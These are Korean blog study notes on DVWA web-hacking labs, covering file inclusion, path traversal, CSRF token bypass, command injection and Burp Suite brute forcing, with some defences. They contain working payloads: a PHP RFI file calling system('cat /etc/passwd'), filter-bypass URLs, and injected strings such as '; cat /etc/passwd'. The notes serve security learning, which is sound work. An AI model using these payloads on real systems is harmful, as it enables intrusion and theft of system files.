파일 인쿠르젼 공격

지정한 파일을 PHP include()로 소스코드에 삽입

로컬파일인클루젼(LFI) - 이미 시스템에 존재하는 파일을 인클루드

리모트파일인클루젼(RFI) - 외부에 있는 파일을 원격으로 인클루드

 

사용법은

 

먼저 파일하나를 만들어보자

 

bad.php

<?php
	print "RFI Success, hacked";
    system('cat /etc/passwd');
?>

이렇게 만들어주고

 

문제 홈페이지를 보자

 

http://localhost/dvwa/vulnerabilities/fi/?page=include.php

 

이것인데

 

http://localhost/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/bad.php

 

이렇게 해주면 파일인클루젼 공격이 성공함을 볼 수 있다

 

LFI는 이미 존재하는 내부파일만 사용할 수 있어서 RFI보다는 공격성이 떨어진다

 

http://localhost/dvwa/vulnerabilities/fi/?page=/etc/passwd

 

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd (상위 디렉토리 접근)

 

이렇게 상위 디렉토리로 접근해서 하는 방식을

 

패스 트래버설(Path Traversal) 공격이라고 한다

 

medium단계를 보자

 

http:// 나 https://로 시작하는 것들을 공백으로 바꿔버리고

 

../ ..\ 또한 공백으로 바꿔버린다

 

이 때는 http 사이에 http를 다시 붙혀준다

 

http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/bad.php

 

http://가 입력값 검증으로 없어졌지만 지워진 나머지가 다시 http://를 구성하기 때문에 가능했다

 

high 단계

 

소스를 보니 file로 시작하지 않거나 include.php가 아니라면 에러를 발생시킨다

 

이것은 LFI만 가능하다

 

page=file/../../../../../../../etc/passwd 해주면 나온다

 

impossible 단계를 보면

 

if문으로 하나하나 include.php file1.php file2.php file3.php 가 아닐 시 에러메세지를 출력하게 한다

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15

CSRF 공격

 

Croos Site Request Forgery

사이트 간 요청 위조

피싱을 활용해 사용자 모르게 패스워드 변경

옥션 해킹 사건에서 사용된 공격기법

 

이 공격 기법은 로그인이 된 상태라는 전제를 깔고 하는 공격 기법이다

 

로그인된 상태에서만 세션쿠키 값이 요청에 자동으로 포함될 수 있기 때문

 

세션쿠키가 요청에 추가되어야만 사이트가 이 사용자는 로그인 되어있으니 믿을만 하겠다고 판단하여

 

그 요청을 실행하기 때문

 

HTTP_REFERER 변수는 레퍼러 헤더를 검사하는 부분임

 

레퍼러 헤더는 어떤 요청이 전송 될 때 이전에 어떤 경로로부터 요청되었는지 알려주기 위해

 

웹브라우저가 자동으로 설정하는 헤더이다

 

레퍼러가 서버주소와 동일한지 비교해야하는데 이 값이 틀리면 차단함으로써 csrf을 어느정도 대응할 수 있다

 

csrf가 웹서버 자체에서 실행이 된다면 레퍼러 헤더에 서버주소가 설정되기 때문에 이 서버주소가 레퍼러에 있는지는

 

우회될 수 있다

 

eregi 이 함수는 앞의 문자열이 뒤의 문자열에 포함이 되어있는지 확인하는 코드

 

즉 서버주소가 레퍼러 안에 포함되어있는지 체크하는 것

 

근데 이경우는 단순히 서버주소가 포함되기만 하면 되기 때문에 공격파일에 서버주소를 넣어보면된다

 

csrf.html 을 csrf_localhost.html 으로 변경해준다

 

referer헤더를 비교할때에는 앞에서부터 정확하게 referer에있는 주소부분이 서버주소가 맞는지 체크해야함

 

high 단계를 보자

 

여기서는 user_token이 추가되었음을 확인할 수 있다

 

이것을 csrf token 이라고도 하는데 웹페이지가 요청될 때마다 token값이 바뀐다

 

req1함수에서 유저토큰을 알아내기위해 첫번째 요청을 보냄

 

req2함수 내에서 첫번째 요청을 분석하여 유저토큰을 뽑아내 포함시켜 보냄

 

이로써 우회해서 csrf공격이 가능해진다

 

impossible 단계에서는

 

현재 비밀번호 칸이 생겼다

 

이렇게되면 해커가 기존 비밀번호를 알고있지않은 한 csrf공격을 할 수 없다

 

하지만 XSS공격이 취약하다면 이것 또한 의미가 없으므로 XSS공격도 대비해야한다

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15
공부(2)  (0) 2021.09.15

커맨드인젝션 공격

 

웹을 통해 시스템명령어(커맨드)를 실행하는 공격

 

웹 내부에서 시스템 명령어를 실행하는 경우,

입력값을 제대로 검사하지 않으면, 해커 마음대로 시스템 명령어를 실행

 

리눅스에서는 ;를 붙히면 둘다 실행함

 

ping; cat/etc/passwd 이런식으로 보내면 핑과 passwd 정보가 출력된다

 

ping -c 4 127.0.0.1; ls

 

하면 핑 출력 후 ls결과인 디렉토리들이 출력된다

 

ping -c 4; ls 도 가능하다

 

;cat /etc/passwd 로 정보를 얻을 수 있었고

 

;id 로 나의 권한 또한 알 수 있었다

 

medium단계

 

&& 는 윈도우에서 리눅스의 ;과 같은 기능을 하는 것임

 

이를 대체할 것들이 있다

 

바로 & 과 | 이다 

 

|는 앞 명령의 결과를 뒤 명령으로 넘겨줄 때 사용하는 특수문자이다

 

&는 백그라운드로 명령을 실행할 때 사용한다

 

ping명령을 백그라운드에서 실행되게 만들고 뒤에 id명령어는 그대로 실행된다

 

커맨드인젝션 공격대응

 

사용자 입력값이 의도에 맞는지 검사하는 것이 가장 좋은 방법

 

ip로 받은 문자를 .으로 구분한다

 

구분된 값들이 각각 숫자인지 확인해주면 된다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(3)  (0) 2021.09.15
공부(2)  (0) 2021.09.15
공부(1)  (0) 2021.09.15

DVWA는 웹해킹을 실습할 수 있도록 만들어진 웹 애플리케이션

 

브루트 포스 공격

 

사용자 패스워드를 알아내기 위한 공격

 

무식하게 패스워드를 계속 대입해보자 - 알파벳 순, 딕셔너리 공격

 

자동 브루트 포스 공격

 

로그인 창에 아이디는 admin 비밀번호는 아무거나 해보자

 

그럼 정보가 옳지 않다고 막힐 것이다

 

그 값을 burp suite를 이용하여 Intruder로 보내고 positions에 clear를 해주고 패스워드값만 add를 해준다

 

Payload로 넘어가서 type을 Brute forcer로 변경해준다

 

그 아래에 character set을 보면 대입할 문자들이 나열되어있다

 

start attack을 누르면 하나하나 대입해서 패스워드를 찾아내기 시작한다

 

이 자동 브루트 포스 공격의 단점은 자리수가 길어질수록 기하급수적으로 찾는 시간이 길어지고 높은 컴퓨터 사양이 요구된다

 

그래서 실질적으로는 이 공격방식보다는 딕셔너리 공격이 선호된다

 

자주 사용되는 비밀번호들이 있다 이를 이용할 것이다

 

Payload type 을 Simple list로 변경시켜준다

 

그리고 자주사용되는 비밀번호 파일을 Lord해주고 start attack해준다

 

다 길이가 같은데 한가지 Length가 다른게 있다

 

그것을 패스워드로 쳐보면 로그인이 성공됨을 알 수 있다

 

브루트포스 공격 대응 방안으로는

 

sleep으로 로그인 실패시 약간의 딜레이를 주어 공격을 지연시키는 것

 

sleep값을 랜덤으로 주어 해커가 틀린것을 바로 알아차리지 못하게 할 수도 있다

 

락킹 방식도 있다 자주 틀리면 몇분간 로그인을 못하게 하는 것

 

이 방식을 사용하면 사실상 브루트포스 공격은 안먹힌다고 보면 된다

 

하지만 이 락킹 방식도 허점이 있다

 

해커가 고의로 피해자의 아이디로 자주 틀린다면 피해자는 그 사이트를 일정시간 사용을 못한다

 

또 다른방식으로는 그림의 쓰여진 글자를 작성하게 하는것

 

즉 CAPTCHA를 이용하는 것도 좋은 대응 방법이다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(2)  (0) 2021.09.15
공부(1)  (0) 2021.09.15

+ Recent posts